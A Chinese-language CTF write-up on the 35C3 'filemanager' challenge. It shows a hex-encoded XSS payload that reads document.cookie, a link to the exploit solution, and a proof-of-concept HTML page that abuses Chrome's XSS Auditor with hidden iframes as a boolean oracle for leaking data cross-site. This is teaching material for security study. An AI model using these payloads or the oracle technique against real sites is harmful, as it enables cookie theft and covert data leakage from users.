从35c3CTF的filemanager题目中学到的一个小tips

再一次被国际赛血虐…. 真是太菜了。回到正题上来,看一次35c3的filemanger题目。
题目应该还没有关:

1
2
3
4
Solves: 5
Check out my web-based filemanager running at https://filemanager.appspot.com.

The admin is using it to store a flag, can you get it? You can reach the admin's chrome-headless at: nc 35.246.157.192 1

0x1 做题时的自己的想法

首先是测出来有一个xss漏洞,在search页面,search页面有段js如下:

1
2
3
4
5
6
7
8
(()=>{
for (let pre of document.getElementsByTagName('pre')) {
let text = pre.innerHTML;
let q = 'test';
let idx = text.indexOf(q);
pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
}
})();

q是搜索条件,如果搜到的文件内容跟q匹配,就会显示文件内容,并把q高亮显示出来。

这里q可以引发xss,测试方法:

  1. 上传文件名xxxxx,内容为
    1
    \x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x78\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x29\x3b\x3e

其实就是编码后的<img src=x onerror=alert(document.cookie);>

  1. 搜索
1
\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x78\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x29\x3b\x3e

就会触发xss。

但是有个利用条件,就是首先需要有一个包含

1
\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x78\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x29\x3b\x3e

的文档,显然管理员是没有的。。。
所以一直在想怎么csrf去写一个。。。创建文档的页面有个XSRF头保护,没办法csrf,就陷入了僵局。

0x2 正解

正解在这里https://gist.githubusercontent.com/Jinmo/1eb258fe22daab04245cabb971111495/raw/26cda4e3a3ebbda37cf1c483240cf693a2276437/exp.html

根本没有用到xss,就是直接获取管理员页面,搜flag,类似于bool盲注的效果,就这么暴力。这里不再详细说这个题解了,自己去品味一下吧。

如果你看完这个题解,没有感到疑惑,甚至觉得很easy,那就没必要继续往下看了。下面说的这个问题,你肯定知道。

0x3 关于chrome XSS Auditor的一个小知识点

先看现象,写两个测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// filename:test.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php

$password = @$_GET["password"];
if($password=='admin'){ // 这里模拟我们要猜测的值
echo "you get it." ;
echo "<script>let a='test';</script>";
}else{
echo "guess error!" ;
}
?>

</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!--filename:poc.html -->
<style>
iframe {
display: none;
}
</style>
<iframe id=f></iframe>
<div id=log></div>
<script>
var myframes = [];
function go(x) {
var f = document.createElement('iframe');
myframes.push(f);
document.body.appendChild(f)
var start = performance.now()
f.onload = function() {
f.onload = function() {
console.log("second request!");
}
console.log("first request!");
f.src=f.src+'#';
}
f.src = `http://localhost:8888/test.php?password=${encodeURIComponent(x)}&<script>let%20a=%27test%27;<\/script>`;
}
var payload1 = 'admin';
var payload2 = 'test';
go(payload1);
go(payload2);
</script>

访问poc.html,看到如下输出:

可以看到这里只发了3次请求,按照这个代码的写法:

1
2
3
4
5
6
7
f.onload = function() {
f.onload = function() {
console.log("second request!");
}
console.log("first request!");
f.src=f.src+'#';
}

按照这种写法,在url后面添加一个’#’,浏览器会认为url没有被修改,是不会再重新请求一次的。那应该是2次请求,可是为啥是3次?

其实原因很明显了,因为页面内容被XSS Auditor拦截了之后,浏览器会认为页面根本没有加载成功,所以在url后面添加一个’#’后,浏览器会再去加载一次。

看一下服务端的请求日志:

1
2
3
[Sun Dec 30 11:38:28 2018] ::1:54705 [200]: /test.php?password=admin&%3Cscript%3Elet%20a=%27test%27;%3C/script%3E
[Sun Dec 30 11:38:28 2018] ::1:54706 [200]: /test.php?password=test&%3Cscript%3Elet%20a=%27test%27;%3C/script%3E
[Sun Dec 30 11:38:28 2018] ::1:54711 [200]: /test.php?password=admin&%3Cscript%3Elet%20a=%27test%27;%3C/script%3E

其中 password=admin这个请求会触发XSS Auditor。

这就给我们一个提示,我们可以把正常页面中带有的js脚本写到url中,而错误页面是没有这个脚本的,如果页面加载正常,就会触发 XSS Auditor,这时候就给我们再发一次请求的机会,从而实现数据外带,而错误页面是不会触发XSS Auditor的,所以第二次请求就不会发出,利用这种技巧在前端实现类似于bool盲注的效果。